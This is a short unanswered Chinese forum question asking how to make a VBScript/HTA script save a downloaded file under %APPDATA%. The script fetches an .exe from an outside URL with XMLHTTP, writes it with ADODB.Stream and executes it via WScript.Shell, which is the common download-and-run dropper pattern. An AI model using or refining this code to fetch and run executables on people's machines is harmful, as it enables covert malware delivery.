在APPDATA进行下载

时间:2018-05-28 04:53:32

标签: windows vbscript hta

如何让此脚本下载%APPDATA%下的文件或用于保存文件的脚本位置在%APPDATA%下?

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe"
FILENAME = "example.exe"

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run FILENAME

由于

0 个答案:

没有答案